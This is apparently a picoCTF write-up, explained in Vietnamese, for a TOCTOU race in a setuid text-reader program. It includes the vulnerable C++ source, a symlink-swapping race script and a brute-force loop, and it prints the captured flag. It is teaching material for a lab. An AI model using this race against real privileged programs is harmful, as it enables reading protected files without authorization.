pwn - tic-tac

Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.

November 4, 2025 October 9, 2025 Hard
Author Author Hung Nguyen Tuong

Source Code

ctf-player@pico-chall$ ls -la
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Oct  9 10:29 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Oct  9 10:29 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rw------- 1 root       root          32 Aug  4  2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4  2023 txtreader
ctf-player@pico-chall$ cat flag.txt 
cat: flag.txt: Permission denied
ctf-player@pico-chall$ ./txtreader 
Usage: ./txtreader <filename>
ctf-player@pico-chall$ ./txtreader flag.txt 
Error: you don't own this file
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

Solve

TOCTOU (Time-of-Check to Time-of-Use) là một lỗ hổng race condition thường xuất hiện trong các chương trình xử lý tập yêu cầu quyền hạn cao. Bản chất của nó là sự tồn tại của một khoảng thời gian (race window) giữa việc chương trình kiểm tra trạng thái của một tài nguyên (Time-of-Check) và thời điểm nó sử dụng kết quả kiểm tra đó (Time-of-Use).

Giả sử ở đây, chúng ta tạo một symlink X, file mục tiêu là A (yêu cầu quyền hạn cao) và file mồi nhử B (không yêu cầu quyền hạn đặc biệt). Và ban đầu X trỏ đến B. Nếu như sau đoạn code này:

// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}

Nếu chúng ta có thể kịp sửa đổi X trỏ đến A ngay sau kiểm tra quyền và trước khi thực hiện việc đọc thì ta có thể bypass cơ chế bảo vệ trên và đọc được A.

// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
  std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}

Chúng ta tạo một bash script để liên tục chuyển đổi symlink trỏ đến file mục tiêu và file mồi nhử:

ctf-player@pico-chall$ nano race.sh
#!/bin/sh

touch link
echo temp > tmp
while true;
do
        ln -sf tmp link
        ln -sf flag.txt link
done

Chúng ta để script chạy nền, sau đó thực thi chương trình cho đến khi thành công:

ctf-player@pico-chall$ chmod +x race.sh 
ctf-player@pico-chall$ ./race.sh &
[1] 38
ctf-player@pico-chall$ for i in {1..1000}; do echo "$i"; ./txtreader link; done
1
Error: you don't own this file
2
temp
3
temp
4
temp
5
temp
6
temp
7
temp
8
Error: you don't own this file
9
Error: you don't own this file
10
Error: you don't own this file
11
temp
12
temp
13
temp
14
temp
15
Error: you don't own this file
16
temp
17
temp
18
temp
19
temp
20
Error: you don't own this file
21
Error: you don't own this file
22
Error: you don't own this file
23
Error: you don't own this file
24
Error: you don't own this file
25
Error: you don't own this file
26
temp
27
temp
28
temp
29
temp
30
Error: you don't own this file
31
temp
32
picoCTF{ToctoU_!s_3a5y_5748402c}
33
temp
34
temp
...

References

  1. Time-of-check to time-of-use - Wikipedia
  2. CWE - CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (4.18)